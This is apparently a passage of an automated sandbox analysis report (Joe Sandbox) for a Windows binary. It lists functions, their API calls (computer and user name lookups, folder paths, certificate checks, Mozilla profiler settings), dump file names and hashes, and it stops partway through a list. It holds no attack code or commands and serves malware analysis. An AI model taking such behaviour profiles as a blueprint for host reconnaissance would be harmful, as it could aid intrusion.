Instruction Fuzzy Hash: 15F0E271641248BBEB249AA4AC49FBBB7E8E709B15F301458F604E3280D5729E80CBA4

Function 00EF8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00EE1B54,?,?,00F0564C,?,?,00F00E1F), ref: 00EF8D9F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7f1583c7cfb2fe81847c736b40ba76556c9a18e087fdeecd76f7fc6a3a9b4aee
Instruction ID: 08d90f799c7dc37c16cc6905d8811a0291d85ebd030cac8e5b7825dd6c25d3ee
Opcode Fuzzy Hash: 7f1583c7cfb2fe81847c736b40ba76556c9a18e087fdeecd76f7fc6a3a9b4aee
Instruction Fuzzy Hash: BEF0A571C0020CEBCB14EFA4D6496ECBB78EF11314F1091A9E9666B2C0DB755A59DB81

Function 00EF8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: b483e06f9ab0432ebbfc7952a44f77cd4572ed769495ccd52443450e5f5ab11b
Instruction ID: d45c176a46b1db5aa5ebf9ddf66dfdfc8d43c40f018ab01689cc7de9cca8ca96
Opcode Fuzzy Hash: b483e06f9ab0432ebbfc7952a44f77cd4572ed769495ccd52443450e5f5ab11b
Instruction Fuzzy Hash: E4E0127194034C7BDB51EB50DC96FAD737C9B44B01F004295BA0C5B1C0DE70AB858B91

Function 00EE1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00EF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7910
Part of subcall function 00EF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7917
Part of subcall function 00EF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00EF792F

Part of subcall function 00EF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EE11B7), ref: 00EF7880
Part of subcall function 00EF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7887
Part of subcall function 00EF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EF789F

ExitProcess.KERNEL32 ref: 00EE11C6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 03f54a59d7b9b9b96a8b20b6e283e843348482d52f2c750a3f94fb9a86e466fb
Instruction ID: 15b76706dbf3fcad6f1a98c415a33c82df87599e429c9776fa923c1d3a7525f0
Opcode Fuzzy Hash: 03f54a59d7b9b9b96a8b20b6e283e843348482d52f2c750a3f94fb9a86e466fb
Instruction Fuzzy Hash: 7EE0E675A1425963CA2876B17D06B3632DC9F14389F041464F705E3502FA35E4608665

Function 00EF8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EF8E52

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 9c07a9ff21f2c4fde458de839b38ef0f36a4b731b1c7410b20b80d7d7760066b
Instruction ID: 2dbd05fbbfb42f4d863a7bc868a5c350bb18775392c1454a81034690971ecbe0
Opcode Fuzzy Hash: 9c07a9ff21f2c4fde458de839b38ef0f36a4b731b1c7410b20b80d7d7760066b
Instruction Fuzzy Hash: C101E830A0410CEBCB14CF98CA857AC7BB1EF04308F288098DA156B340C7755B98DB85

Non-executed Functions

Function 6C7C5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C7C5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7C54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7C54BE
__Init_thread_footer.LIBCMT ref: 6C7C54DB

Part of subcall function 6C7EAB3F: EnterCriticalSection.KERNEL32(6C83E370,?,?,6C7B3527,6C83F6CC,?,?,?,?,?,?,?,?,6C7B3284), ref: 6C7EAB49
Part of subcall function 6C7EAB3F: LeaveCriticalSection.KERNEL32(6C83E370,?,6C7B3527,6C83F6CC,?,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7EAB7C

Part of subcall function 6C7ECBE8: GetCurrentProcess.KERNEL32(?,6C7B31A7), ref: 6C7ECBF1
Part of subcall function 6C7ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7B31A7), ref: 6C7ECBFA

GetCurrentThreadId.KERNEL32 ref: 6C7C54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C7C5516
GetCurrentThreadId.KERNEL32 ref: 6C7C556A
AcquireSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7C5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C7C5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C7C5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C7C55E6
ReleaseSRWLockExclusive.KERNEL32(6C83F4B8), ref: 6C7C5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7C5616

Part of subcall function 6C7EAB89: EnterCriticalSection.KERNEL32(6C83E370,?,?,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284), ref: 6C7EAB94
Part of subcall function 6C7EAB89: LeaveCriticalSection.KERNEL32(6C83E370,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7EABD1

GetCurrentThreadId.KERNEL32 ref: 6C7C563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7C5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C7C567C
free.MOZGLUE(?), ref: 6C7C56AE

Part of subcall function 6C7D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7D5EDB
Part of subcall function 6C7D5E90: memset.VCRUNTIME140(6C817765,000000E5,55CCCCCC), ref: 6C7D5F27
Part of subcall function 6C7D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7D5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C7C56E8
GetCurrentThreadId.KERNEL32 ref: 6C7C5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C7C570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C7C5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C7C574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C7C576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C7C5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C7C57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C7C57CA

Strings

- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C7C5D1C
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C7C5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C7C5B38
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C7C5D24
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C7C5D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C7C5717
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C7C54B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C7C548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C7C5AC9
MOZ_PROFILER_STARTUP, xrefs: 6C7C55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C7C5791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C7C5749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C7C56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C7C5C56
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C7C54A3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C7C5D2B
[I %d/%d] profiler_init, xrefs: 6C7C564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C7C584E
GeckoMain, xrefs: 6C7C5554, 6C7C55D5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C7C5766
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C7C57C5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C7C57AE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C7C5CF9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C7C5724
MOZ_BASE_PROFILER_HELP, xrefs: 6C7C5511

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: bee2cbc122f349c93b0c1cc16bf8a99b3922d141e39903a9a3d4e131bc767312
Instruction ID: 9ad37e39998c06d3dac86f02bebb82989809f7d2e1ec1272c55f677da71822e0
Opcode Fuzzy Hash: bee2cbc122f349c93b0c1cc16bf8a99b3922d141e39903a9a3d4e131bc767312
Instruction Fuzzy Hash: D82247B1A047529FD7209FB4DA5826A7BB0AF4630CF001A39E85997B41E736C845DBD3

Function 6C7C6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7C6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7C6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C7C6D26

Part of subcall function 6C7CCA10: malloc.MOZGLUE(?), ref: 6C7CCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C7C6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7C6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C7C6D73
free.MOZGLUE(00000000), ref: 6C7C6D80
CertGetNameStringW.CRYPT32 ref: 6C7C6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C7C6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7C6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C7C6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C7C6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C7C6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C7C6E34
CreateFileW.KERNEL32 ref: 6C7C6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C7C6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7C6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C7C709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7C7103
free.MOZGLUE(00000000), ref: 6C7C7153
CloseHandle.KERNEL32(?), ref: 6C7C7176
__Init_thread_footer.LIBCMT ref: 6C7C7209
__Init_thread_footer.LIBCMT ref: 6C7C723A
__Init_thread_footer.LIBCMT ref: 6C7C726B
__Init_thread_footer.LIBCMT ref: 6C7C729C
__Init_thread_footer.LIBCMT ref: 6C7C72DC
__Init_thread_footer.LIBCMT ref: 6C7C730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C7C73C2
VerSetConditionMask.NTDLL ref: 6C7C73F3
VerSetConditionMask.NTDLL ref: 6C7C73FF
VerSetConditionMask.NTDLL ref: 6C7C7406
VerSetConditionMask.NTDLL ref: 6C7C740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C7C741A
moz_xmalloc.MOZGLUE(?), ref: 6C7C755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7C7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C7C7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7C7598
free.MOZGLUE(00000000), ref: 6C7C75AC

Part of subcall function 6C7EAB89: EnterCriticalSection.KERNEL32(6C83E370,?,?,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284), ref: 6C7EAB94
Part of subcall function 6C7EAB89: LeaveCriticalSection.KERNEL32(6C83E370,?,6C7B34DE,6C83F6CC,?,?,?,?,?,?,?,6C7B3284,?,?,6C7D56F6), ref: 6C7EABD1

Strings

SHA256, xrefs: 6C7C6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C7C72C8
wintrust.dll, xrefs: 6C7C72CD
(, xrefs: 6C7C768A

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 837be86bcb6365ed1912ac4d42685d8e7abc05327b5faf73c375813cbd95db4a
Instruction ID: 52bb941e1b0f66d1c96740ad1c8ebca147c23aa285e997bcaba3aa370eb00d3b
Opcode Fuzzy Hash: 837be86bcb6365ed1912ac4d42685d8e7abc05327b5faf73c375813cbd95db4a
Instruction Fuzzy Hash: F752D4B1A002159FEB319F64CE88BAA77B8FB55708F1055A9E90C97640DB70AF84CFD1

Function 6C8134A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C81355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8135BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8135E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C81363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8136CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C81373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C813775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C81378F
